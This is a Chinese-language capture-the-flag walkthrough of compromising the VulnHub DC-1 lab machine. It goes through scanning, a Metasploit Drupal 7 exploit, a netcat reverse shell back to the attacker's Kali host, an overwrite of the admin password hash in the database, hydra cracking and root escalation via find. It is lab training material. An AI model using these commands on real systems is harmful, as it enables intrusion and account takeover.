CTF-DC1靶机攻防

实验环境准备:
kali:172.25.0.69 dc-1: MAC地址:00:0C:29:51:DB:CC
dc-1靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

0x01 端口扫描

根据MAC地址查找靶机IP地址,得到靶机IP地址为172.25.0.55
netdiscover -i eth0 -r 172.25.0.0/24 //netdiscover是一个主动/被动的 ARP侦查工具,通过抓取网络中的arp广播包来确定网络中存活的IP
命令详解 -i 指定网卡 -r 指定扫描的网段

image.png

使用namp工具对靶机进行端口扫描
nmap -A -p- 172.25.0.55 //全端口扫描
生产环境基本上用-sS参数来进行隐蔽扫描
image.png

由端口扫描发现该主机dc1-80端口开放,由此断定dc1有基于drupal7CMS对外发布的网站业务
image.png

另一种查看CMS版本方法:ctrl+u 浏览器模式下查看网页源码
image.png

发现该网站是基于Drupal7版本的cms搭建

0x02 漏洞利用

利用msf进行网站渗透
search drupal //查看drupal cms 存在的漏洞

image.png

use 4 //为什么使用这个exp,具体情况大家具体分析
info 查看当前exp可利用的版本,发现drupal7版本可以进行利用


image.png

在msf控制界面运行以下命令
set RHOSTS 172.25.0.55
set VHOST 172.25.0.69
exploit
成功拿到该网站服务器的webshell权限


image.png

输入shell命令进入shell命令行模式
利用python一句话命令进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'

image.png

0x03 提权

发现dc1存在nc工具且具有-e选项
通过nc反弹shell到kali
命令如下

nc -lvvp 1234   //kali开启1234端口的监听
nc -e /bin/bash 172.25.0.69 1234 //dc1通过nc连接kali的1234端口

发现flag1


image.png

根据flag1提示找到flag2 //可能有人会问为什么配置文件是这个我又是怎么找到的,百度drupal7配置文件存放路径
同时发现数据库的用户名和密码 'username' => 'dbuser', 'password' => 'R0ck3t',

image.png

由于flag提示我们可以避免使用暴力破解的方法来破解密码
我们通过更新数据库密码来更改后台管理员的密码为admin

php scripts/password-hash.sh admin #生成密码为 admin的密文
mysql -udbuser -pR0ck3t
use drupaldb;
update users set pass='$S$DhbcpLhyAcXB8jKvGBqS9hbWWSOIACm1nQpvwZt7ZGjK3WFC2stw' where name="admin"

通过后台管理员账号登陆网站拿到flag3
用户名:admin 密码:admin

image.png

cat /etc/passwd 查看passwd文件发现存在可登录shell账号flag4
使用hydra进行密码破解 得到flag4用户密码为orange


image.png

以flag4身份ssh登陆dc1,在家目录下找到flag4


image.png

查看可以以root身份运行的命令


image.png

此处我们利用find命令来进行linux提权 //提权方法有很多种大家可以发散自己的思维
并且在拿到最后一个flag 在/root目录下,同时提权成功拿到该网站服务器的最高权限。


image.png

你可能感兴趣的:(CTF-DC1靶机攻防)